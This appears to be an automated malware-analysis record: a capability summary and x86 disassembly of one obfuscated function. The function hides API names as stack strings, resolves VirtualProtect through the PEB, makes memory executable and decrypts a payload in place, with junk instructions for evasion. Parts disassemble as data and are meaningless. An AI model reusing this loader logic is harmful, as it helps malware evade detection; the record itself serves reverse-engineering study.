Function at 0x415817
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
mov ecx, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], ecx
jmp 0x414b27
cmp dword [ebp - 0x3f8], 0
je 0x414c02
push eax
push edi
add esp, 4
add eax, 0x134af
and eax, 0x10996
xor eax, 0x1d14
and eax, 0x135d5
pop eax
push ebx
xor ebx, 0xb791
pop ebx
push esi
push edx
add esp, 4
xor esi, 0x20fb
pop esi
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x19a8], eax
push esi
and esi, 0x182e2
pop esi
push ecx
push ecx
add esp, 4
jmp 0x414b85
sub ecx, 0x4d7b
call 0x414b9a
add byte [eax], bh
cmp dword [ecx + 0x40], ecx
inc ecx
dec ecx
cmp al, 0x3c
add esp, 4
xor ecx, 0x14c81
pop ecx
mov ecx, dword [ebp - 0x19a8]
mov dword [ebp - 0x19ac], ecx
lea edx, [ebp - 0x1740]
push edx
call dword [ebp - 0x19ac]
test eax, eax
jne 0x414c02
push esi
push eax
add esp, 4
xor esi, 0xbb20
call 0x414bd8
add byte [esi], dh
inc esi
xor al, 0x50
cmp byte [ebx + 0x9e804c4], al
add byte [eax], al
add byte [eax], al
push eax
cmp al, 0x34
cmp byte [0x83473d39], dh
les eax, [ecx + eax*4]
out 0xa1, al
inc eax
add dword [eax], eax
pop esi
mov dword [ebp - 0x7a0], 0
jmp 0x4152ec
push edx
push ecx
add esp, 4
call 0x414c16
add byte [ebx + 0x34], cl
xor al, 0x3a
push eax
xor edx, dword [eax + 0x41]
dec esp
add esp, 4
add edx, 0x4f9d
or edx, 0x1597
pop edx
push esi
xor esi, 0x2654
and esi, 0x130f2
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19b0], eax
mov ecx, dword [ebp - 0x19b0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19b4], edx
mov eax, dword [ebp - 0x19b4]
mov dword [ebp - 0x1604], eax
push edi
push eax
add esp, 4
or edi, 0x157ca
jmp 0x414c6b
pop edi
push ecx
push edi
add esp, 4
call 0x414c7d
add byte [edi + 0x43], cl
inc edx
inc edi
inc esi
add esp, 4
and ecx, 0xf0fc
and ecx, 0x1563
pop ecx
cmp dword [ebp - 0x1604], 0
jne 0x414ca5
mov dword [ebp - 0x2d4], 0
jmp 0x414f4c
mov ecx, dword [ebp - 0x1604]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb8], eax
push ecx
call 0x414cc6
add byte [ecx + 0x32], cl
dec ebx
push eax
push eax
push eax
inc edx
cmp eax, dword [ebx - 0x167efb3c]
fdivr dword [eax + eax]
sub ecx, 0xa6df
call 0x414ce5
add byte [edi], dh
cmp byte [eax + 0x37], cl
inc esp
xor esi, dword [esi]
dec ebx
xor dh, byte [0x5904c483]
cmp dword [ebp - 0xcb8], 0
jne 0x414d01
mov dword [ebp - 0x2d4], 0
jmp 0x414f4c
mov ecx, dword [ebp - 0xcb8]
mov dword [ebp - 0x510], ecx
push eax
push eax
add esp, 4
add eax, 0xccb
pop eax
push esi
sub esi, 0x7a6b
pop esi
push edx
push edi
add esp, 4
and edx, 0xc5c2
and edx, 0x728
xor edx, 0xc10
add edx, 0x7a16
pop edx
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcb4], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcb0], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push edi
push ebx
add esp, 4
or edi, 0x1f6d
and edi, 0x5ca9
pop edi
push ecx
push ebx
add esp, 4
sub ecx, 0xefc
pop ecx
push ecx
and ecx, 0x101c5
sub ecx, 0x1692b
or ecx, 0x12ba6
pop ecx
mov ecx, dword [ebp - 0xcb0]
mov dx, word [ecx]
mov word [ebp - 0x103e], dx
mov eax, dword [ebp - 0xcb0]
add eax, 2
mov dword [ebp - 0xcb0], eax
mov cx, word [ebp - 0x103e]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb4]
mov ax, word [edx]
mov word [ebp - 0x1040], ax
mov ecx, dword [ebp - 0xcb4]
add ecx, 2
mov dword [ebp - 0xcb4], ecx
mov dx, word [ebp - 0x1040]
mov word [ebp - 0x34], dx
push esi
push eax
add esp, 4
or esi, 0x1006
and esi, 0xf70b
pop esi
push edx
add edx, 0xa27f
call 0x414e17
add byte [0x3b494b42], bh
dec eax
add esp, 4
jmp 0x414e23
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x414e41
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x160c], ecx
jmp 0x414e9b
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x414d69
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x414d69
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x414e85
mov dword [ebp - 0x1608], 0xffffffff
jmp 0x414e8f
mov dword [ebp - 0x1608], 1
mov eax, dword [ebp - 0x1608]
mov dword [ebp - 0x160c], eax
cmp dword [ebp - 0x160c], 0
jne 0x414ee4
push edx
push edx
add esp, 4
and edx, 0x11972
sub edx, 0x1104f
add edx, 0xbb29
pop edx
push eax
push edi
add esp, 4
jmp 0x414ec9
jmp 0x414ecf
add eax, 0x11767
pop eax
mov ecx, dword [ebp - 0x510]
mov dword [ebp - 0x2d4], ecx
jmp 0x414f4c
push edi
push ebx
add esp, 4
and edi, 0x230d
pop edi
push esi
push ebx
add esp, 4
and esi, 0x16e8
or esi, 0x10ba1
sub esi, 0xb256
and esi, 0x13658
pop esi
push ebx
or ebx, 0x13140
pop ebx
mov edx, dword [ebp - 0x510]
mov eax, dword [edx]
mov dword [ebp - 0x510], eax
mov ecx, dword [ebp - 0x510]
cmp ecx, dword [ebp - 0xcb8]
je 0x414f42
mov edx, dword [ebp - 0x510]
cmp dword [edx + 0x30], 0
jne 0x414d0d
mov dword [ebp - 0x2d4], 0
push edi
xor edi, 0x186a
or edi, 0x129b3
sub edi, 0x2a1c
pop edi
push edi
xor edi, 0xa2e8
call 0x414f74
add byte [ebx + 0x45], cl
dec edi
inc ebx
inc ebx
inc ecx
add esp, 4
and edi, 0x58f9
pop edi
mov eax, dword [ebp - 0x2d4]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push edi
or edi, 0xa7d2
jmp 0x414f9c
or edi, 0x5920
sub edi, 0x2cfd
pop edi
push ebx
or ebx, 0x4a54
xor ebx, 0x2d93
pop ebx
push edi
and edi, 0xe4fa
pop edi
mov dword [ebp - 0x774], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1610], edx
cmp dword [ebp - 0x1610], 0
jne 0x414fef
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x4152e0
mov ecx, dword [ebp - 0x1610]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1614], edx
jne 0x415017
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x514], eax
jmp 0x4152e0
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1614]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1618], ecx
cmp dword [ebp - 0x1618], 0
jne 0x415049
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
jmp 0x4152e0
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1618]
mov dword [ebp - 0x768], eax
jne 0x41506e
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x514], ecx
jmp 0x4152e0
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19b8], eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19bc], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19c0], ecx
mov dword [ebp - 0x76c], 0
jmp 0x4150c8
mov edx, dword [ebp - 0x76c]
add edx, 1
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x76c]
cmp ecx, dword [eax + 0x18]
jae 0x4152d4
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19b8]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x770], ecx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x19bc]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19c0]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d48], eax
mov dword [ebp - 0x198], 0
jmp 0x415138
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x4151ea
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
test edx, edx
je 0x4151ea
push eax
push ebx
add esp, 4
or eax, 0x136e3
pop eax
push edi
call 0x41517f
add byte [edi], bh
xor al, 0x40
inc ecx
cmp edi, dword [0x4c4834e]
add edi, 0x10642
and edi, 0xe544
pop edi
push esi
or esi, 0x1219d
pop esi
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
cmp ecx, eax
je 0x4151dc
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x87c]
cmp edx, ecx
jne 0x4151e3
jmp 0x415129
jmp 0x4151ea
push ecx
add ecx, 0x16647
and ecx, 0x8c96
and ecx, 0xd27f
pop ecx
push eax
push ecx
add esp, 4
sub eax, 0x889b
pop eax
push edx
push ecx
add esp, 4
or edx, 0xa0c7
add edx, 0xea6
pop edx
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x87c]
cmp eax, edx
jne 0x415249
mov dword [ebp - 0xcbc], 0
jmp 0x4152b8
push ecx
sub ecx, 0x9961
call 0x41525d
add byte [ebp + 0x38], cl
dec ebx
dec ebx
inc eax
inc ebx
add esp, 4
pop ecx
push esi
xor esi, 0x1039b
and esi, 0x452b
xor esi, 0x34ea
or esi, 0x13e17
pop esi
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x87c]
or eax, 0x20
cmp ecx, eax
jge 0x4152ae
mov dword [ebp - 0xcbc], 0xffffffff
jmp 0x4152b8
mov dword [ebp - 0xcbc], 1
cmp dword [ebp - 0xcbc], 0
jne 0x4152cf
mov ecx, dword [ebp - 0x1d48]
mov dword [ebp - 0x514], ecx
jmp 0x4152e0
jmp 0x4150b9
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x514], edx
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x7a0], eax
push eax
jmp 0x4152f4
sub eax, 0x5e4d
xor eax, 0xc8fa
pop eax
push edx
sub edx, 0x8675
jmp 0x415311
pop edx
push edx
push ebx
add esp, 4
add edx, 0x429b
pop edx
mov ecx, dword [ebp - 0x3e4]
add ecx, 0xe
mov dword [ebp - 0x1a10], ecx
push ebx
or ebx, 0x2dc6
and ebx, 0x15f9e
pop ebx
push edx
push eax
add esp, 4
sub edx, 0xc257
call 0x415354
add byte [esi], dh
dec esp
cmp ecx, dword [edi + 0x48]
cmp cl, byte [ebx + 0x4a]
add esp, 4
jmp 0x41535e
pop edx
cmp dword [ebp - 0x3e4], 0
je 0x415371
cmp dword [ebp - 0xac4], 0
jne 0x4153b7
push esi
push edi
add esp, 4
and esi, 0xacf0
pop esi
push edi
xor edi, 0xf331
or edi, 0x71fc
call 0x415399
add byte [ecx], bh
cmp dword [ebx + 0x4e], ecx
cmp byte ss:[eax + 0x3e], cl
cmp dword [ebx - 0x387efb3c], eax
push es
pop ss
add dword [eax], eax
pop edi
mov edx, dword [ebp - 0x7a0]
mov dword [ebp - 0x19c4], edx
push 0
call dword [ebp - 0x19c4]
mov dword [ebp - 0x20dc], 0xa
push edi
push esi
add esp, 4
xor edi, 0xc2a4
and edi, 0xcec3
call 0x4153e1
add byte [ebx + ecx*2 + 0x41], al
inc edi
dec eax
xor eax, dword [ebx + 0x46]
dec ecx
add esp, 4
xor edi, 0x12a58
pop edi
push edx
xor edx, 0xf3e7
pop edx
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push ebx
call 0x41542c
add byte [esi], bh
inc ebp
inc esi
cmp al, 0x4e
aaa
dec esp
add esp, 4
or ebx, 0x16457
or ebx, 0x6643
pop ebx
push eax
or eax, 0x10b85
xor eax, 0x1151b
or eax, 0xb93c
pop eax
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
push esi
push ecx
add esp, 4
jmp 0x4154c7
jmp 0x4154cd
pop esi
push eax
push ebx
add esp, 4
add eax, 0x139dc
jmp 0x4154de
add eax, 0x14050
and eax, 0x7e64
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x19c8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x19cc]
mov dword [ebp - 0x161c], eax
push edx
add edx, 0xef20
and edx, 0xe535
and edx, 0x1276c
pop edx
push ecx
push esi
add esp, 4
or ecx, 0x7e44
or ecx, 0x9f97
and ecx, 0x4694
add ecx, 0x1dae
pop ecx
cmp dword [ebp - 0x161c], 0
jne 0x41555c
mov dword [ebp - 0x2f4], 0
jmp 0x415803
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc8], eax
push eax
call 0x41557b
add byte [ebx], bh
cmp byte [ebx + 0x47], al
xor eax, 0x5804c483
push eax
push edx
add esp, 4
xor eax, 0xf807
jmp 0x415593
or eax, 0x1261b
and eax, 0xcf02
pop eax
cmp dword [ebp - 0xcc8], 0
jne 0x4155b8
mov dword [ebp - 0x2f4], 0
jmp 0x415803
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx
push ebx
add ebx, 0x7980
pop ebx
push eax
jmp 0x4155d5
and eax, 0x7ae0
or eax, 0xb72d
pop eax
push ecx
sub ecx, 0x12205
xor ecx, 0x7136
or ecx, 0x13154
pop ecx
lea edx, [ebp - 0x1740]
mov dword [ebp - 0xcc4], edx
mov eax, dword [ebp - 0x518]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcc0], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push eax
add esp, 4
jmp 0x41562a
add edi, 0xeb57
jmp 0x415639
call 0x415646
add byte [edi + 0x3b], cl
aas
dec ecx
xor eax, dword [eax + 0x3d]
add esp, 4
pop edi
push eax
xor eax, 0x9a53
pop eax
mov ecx, dword [ebp - 0xcc0]
mov dx, word [ecx]
mov word [ebp - 0x1042], dx
mov eax, dword [ebp - 0xcc0]
inc eax
invalid
invalid
inc dword [ebx - 0x7a76fd40]
inc eax
invalid
invalid
jmp dword [esi - 0x75]
lea edi, [esi + 0x66ffffef]
mov dword [ebp - 0x21c], ecx
mov edx, dword [ebp - 0xcc4]
mov ax, word [edx]
mov word [ebp - 0x1044], ax
mov ecx, dword [ebp - 0xcc4]
add ecx, 2
mov dword [ebp - 0xcc4], ecx
mov dx, word [ebp - 0x1044]
mov word [ebp - 0x38], dx
push edi
or edi, 0x1dae
or edi, 0x669d
pop edi
push edi
push ebx
add esp, 4
add edi, 0x141aa
call 0x4156d1
add byte [eax + 0x50], cl
inc ebp
dec edx
dec ecx
cmp byte [eax + 0x47], dl
push ecx
push ecx
add esp, 4
call 0x415817
add byte [edi], dh
inc ebp
cmp dword [ebp + ecx*2 + 0x33], ecx
inc esp
inc ebx
dec edi
add esp, 4
sub ecx, 0xa43a
pop ecx
push ebx
add ebx, 0x7af9
add ebx, 0x33ec
and ebx, 0x115c2
pop ebx
cmp dword [ebp - 0x2f4], 0
jne 0x41613a
mov eax, 0x6b
mov word [ebp - 0x17c8], ax
mov ecx, 0x65
mov word [ebp - 0x17c6], cx
mov edx, 0x72
mov word [ebp - 0x17c4], dx
mov eax, 0x6e
mov word [ebp - 0x17c2], ax
mov ecx, 0x65
mov word [ebp - 0x17c0], cx
mov edx, 0x6c
mov word [ebp - 0x17be], dx
mov eax, 0x33
mov word [ebp - 0x17bc], ax
mov ecx, 0x32
mov word [ebp - 0x17ba], cx
mov edx, 0x2e
mov word [ebp - 0x17b8], dx
mov eax, 0x64
mov word [ebp - 0x17b6], ax
mov ecx, 0x6c
mov word [ebp - 0x17b4], cx
mov edx, 0x6c
mov word [ebp - 0x17b2], dx
xor eax, eax
mov word [ebp - 0x17b0], ax
push edx
or edx, 0x9291
xor edx, 0x15a00
add edx, 0x12ea
xor edx, 0x189a
pop edx
push esi
push ecx
add esp, 4
add esi, 0xeec3
and esi, 0xe56c
sub esi, 0x9771
pop esi
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19d0], ecx
mov edx, dword [ebp - 0x19d0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19d4], eax
mov ecx, dword [ebp - 0x19d4]
mov dword [ebp - 0x1628], ecx
push ecx
push edx
add esp, 4
sub ecx, 0x7327
call 0x4159aa
add byte [edx], dh
inc esp
dec ebx
xor dh, byte [esi]
cmp eax, 0x83484a38
les eax, [ecx + eax*4]
jmp 0x429ec0
push esi
push edx
add esp, 4
call 0x41614b
add byte [edx], dh
inc ebp
inc edi
dec edi
xor edi, dword [edx]
add esp, 4
sub esi, 0x9e89
call 0x416162
add byte [ebx], bh
inc eax
inc ebp
dec edi
xor bh, byte [esi]
dec edx
cmp eax, dword [ebx - 0x117efb3c]
mov byte [ecx + 1], 0
pop esi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19f0], ecx
mov edx, dword [ebp - 0x19f0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19f4], eax
mov ecx, dword [ebp - 0x19f4]
mov dword [ebp - 0x1684], ecx
push ecx
push eax
add esp, 4
or ecx, 0x1112a
pop ecx
push ebx
call 0x4161b0
add byte [0x49443b43], dh
inc esi
inc edx
aas
aaa
add esp, 4
xor ebx, 0x15c34
add ebx, 0x3838
and ebx, 0x9aac
pop ebx
cmp dword [ebp - 0x1684], 0
jne 0x4161de
mov dword [ebp - 0x2f4], 0
jmp 0x416485
mov edx, dword [ebp - 0x1684]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce4], ecx
push esi
call 0x416200
add byte [ebx], dh
dec ebp
dec ebx
cmp byte [eax + 0x4d], al
cmp cl, byte [ebx + eax*4 - 0x3c]
add al, 0x5e
push esi
xor esi, 0x16689
call 0x416218
add byte [ebx + 0x43], al
xor edi, dword [0x834c4a4c]
les eax, [ecx + eax*4]
invalid
push esi
and esi, 0x49c3
pop esi
push edi
or edi, 0x6172
jmp 0x41649c
jmp 0x4164a2
pop edi
push edx
or edx, 0xcb57
pop edx
push edi
push ebx
add esp, 4
or edi, 0x7cb5
pop edi
mov ecx, dword [ebp - 0x2f4]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x36c], edx
push esi
and esi, 0x59a0
pop esi
push ebx
push edi
add esp, 4
sub ebx, 0xba56
xor ebx, 0x1735e
jmp 0x4164e5
add ebx, 0x13a18
pop ebx
push ecx
push edx
add esp, 4
sub ecx, 0x3bdc
pop ecx
mov dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x1690], eax
cmp dword [ebp - 0x1690], 0
jne 0x416528
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x416819
mov edx, dword [ebp - 0x1690]
mov eax, dword [ebp - 0x36c]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1694], eax
jne 0x416550
mov ecx, dword [ebp - 0x798]
mov dword [ebp - 0x524], ecx
jmp 0x416819
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1694]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1698], edx
cmp dword [ebp - 0x1698], 0
jne 0x416582
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x524], eax
jmp 0x416819
mov ecx, dword [ebp - 0x36c]
add ecx, dword [ebp - 0x1698]
mov dword [ebp - 0x78c], ecx
jne 0x4165a7
mov edx, dword [ebp - 0x798]
mov dword [ebp - 0x524], edx
jmp 0x416819
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x36c]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x19f8], ecx
mov edx, dword [ebp - 0x78c]
mov eax, dword [ebp - 0x36c]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x19fc], eax
mov ecx, dword [ebp - 0x78c]
mov edx, dword [ebp - 0x36c]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1a00], edx
mov dword [ebp - 0x790], 0
jmp 0x416601
mov eax, dword [ebp - 0x790]
add eax, 1
mov dword [ebp - 0x790], eax
mov ecx, dword [ebp - 0x78c]
mov edx, dword [ebp - 0x790]
cmp edx, dword [ecx + 0x18]
jae 0x41680d
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x19f8]
mov edx, dword [ebp - 0x36c]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x794], edx
mov eax, dword [ebp - 0x790]
mov ecx, dword [ebp - 0x19fc]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1a00]
mov ecx, dword [ebp - 0x36c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a04], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x416671
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x794]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x416723
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x9d8]
test eax, eax
je 0x416723
push edi
push eax
add esp, 4
and edi, 0xc927
pop edi
push edi
xor edi, 0x16ae1
and edi, 0xd42a
add edi, 0x675
call 0x4166cc
add byte [edx + 0x39], al
xor dl, byte [eax + 0x42]
cmp al, 0x3f
aas
dec ebx
add esp, 4
pop edi
mov ecx, dword [ebp - 0x794]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x9d8]
cmp edx, ecx
je 0x416715
mov edx, dword [ebp - 0x794]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x9d8]
cmp eax, edx
jne 0x41671c
jmp 0x416662
jmp 0x416723
push ebx
xor ebx, 0x115d4
xor ebx, 0x1109
pop ebx
push esi
push eax
add esp, 4
xor esi, 0x73cf
pop esi
push eax
push ebx
add esp, 4
or eax, 0x2ee6
and eax, 0x4a82
and eax, 0x9782
pop eax
mov eax, dword [ebp - 0x794]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x9d8]
cmp ecx, eax
jne 0x416782
mov dword [ebp - 0xce8], 0
jmp 0x4167f1
push edx
push eax
add esp, 4
sub edx, 0xbaca
sub edx, 0xdf84
pop edx
push ecx
jmp 0x41679b
call 0x4167aa
add byte [eax], bh
dec edx
cmp dword [eax], edi
inc esp
dec eax
cmp dword [0x4c48335], esi
or ecx, 0x3356
pop ecx
mov ecx, dword [ebp - 0x794]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x9d8]
or ecx, 0x20
cmp edx, ecx
jge 0x4167e7
mov dword [ebp - 0xce8], 0xffffffff
jmp 0x4167f1
mov dword [ebp - 0xce8], 1
cmp dword [ebp - 0xce8], 0
jne 0x416808
mov edx, dword [ebp - 0x1a04]
mov dword [ebp - 0x524], edx
jmp 0x416819
jmp 0x4165f2
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0xac0], ecx
push ecx
push edx
add esp, 4
jmp 0x41682f
or ecx, 0x171a1
xor ecx, 0x11531
jmp 0x416840
pop ecx
push eax
xor eax, 0x123ad
sub eax, 0x4c52
pop eax
push ebx
xor ebx, 0xf545
pop ebx
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x1a08], edx
lea eax, [ebp - 0xcec]
push eax
push 0x40
mov ecx, dword [ebp - 0x169c]
push ecx
mov edx, dword [ebp - 0x3e4]
push edx
call dword [ebp - 0x1a08]
test eax, eax
jne 0x4168ca
push edi
add edi, 0x674a
jmp 0x416892
pop edi
push edx
push edi
add esp, 4
and edx, 0x365b
pop edx
push edi
jmp 0x4168a7
pop edi
push esi
or esi, 0x8626
add esi, 0xa09e
pop esi
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x1a0c], eax
push 0
call dword [ebp - 0x1a0c]
mov ecx, dword [ebp - 0x1a10]
mov dword [ebp - 0x79c], ecx
jmp 0x4168e7
mov edx, dword [ebp - 0x79c]
add edx, 1
mov dword [ebp - 0x79c], edx
mov eax, dword [ebp - 0x79c]
cmp eax, dword [ebp - 0xac4]
jae 0x416943
push ebx
push eax
add esp, 4
xor ebx, 0x16f8b
add ebx, 0x861
add ebx, 0x49fd
pop ebx
push edx
xor edx, 0xedab
xor edx, 0x19de
sub edx, 0x3eef
sub edx, 0x4e14
pop edx
movzx ecx, byte [ebp - 0x3ed]
mov edx, dword [ebp - 0x79c]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x79c]
mov byte [ecx], al
jmp 0x4168d8
mov edx, dword [ebp - 0xac0]
mov dword [ebp - 0x1a14], edx
lea eax, [ebp - 0xcec]
push eax
mov ecx, dword [ebp - 0xcec]
push ecx
mov edx, dword [ebp - 0x169c]
push edx
mov eax, dword [ebp - 0x3e4]
push eax
call dword [ebp - 0x1a14]
test eax, eax
jne 0x4169bb
push ebx
jmp 0x41697f
or ebx, 0x870f
call 0x416991
add byte [edi], bh
push eax
cmp eax, 0x83323b3c
les eax, [ecx + eax*4]
ret
push edi
xor edi, 0x1540d
or edi, 0xd29d
sub edi, 0xf979
pop edi
push ecx
push ebx
add esp, 4
jmp 0x4169da
sub ecx, 0xe382
xor ecx, 0x122f3
sub ecx, 0x38b6
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff03ff
pop ecx
pop ecx
test cl, dl
sbb esp, dword [edi]
add eax, dword [ebx]
popal
push esp
test ah, al
jp 0x416a76
add al, 3
pop esp
push esp
test ah, dh
xchg ecx, eax
aad 3
add eax, dword [esp + ecx*8 + 0x3031cd7]
pop esp
pop ecx
test cl, ch
xchg esi, eax
push eax
add al, 3
test cl, ch
push ebp
add byte [ebx + eax], 0x84
sal edx, 1
and byte [ebx], al
add esp, dword [ecx - 0x37]
mov byte [ebx + 0x4a0202f1], dh
leave
mov byte [ecx + esi*8 - 0x3697fdfe], dh
mov byte [ebp + 0x770202f1], dh
leave
mov byte [esi + 0x500202f1], dh
leave
mov byte [edi + 0x720202f1], dh
leave
mov byte [eax + 0x670202f1], bh
leave
mov byte [ecx + 0x780202f1], bh
leave
mov byte [edx + 0x6f0202f1], bh
leave
mov byte [ebx + 0x680202f1], bh
leave
mov byte [ecx + esi*8 - 0x36b4fdfe], bh
mov byte [ebp + 0x640202f1], bh
leave
int1
add al, byte [edx]
leave
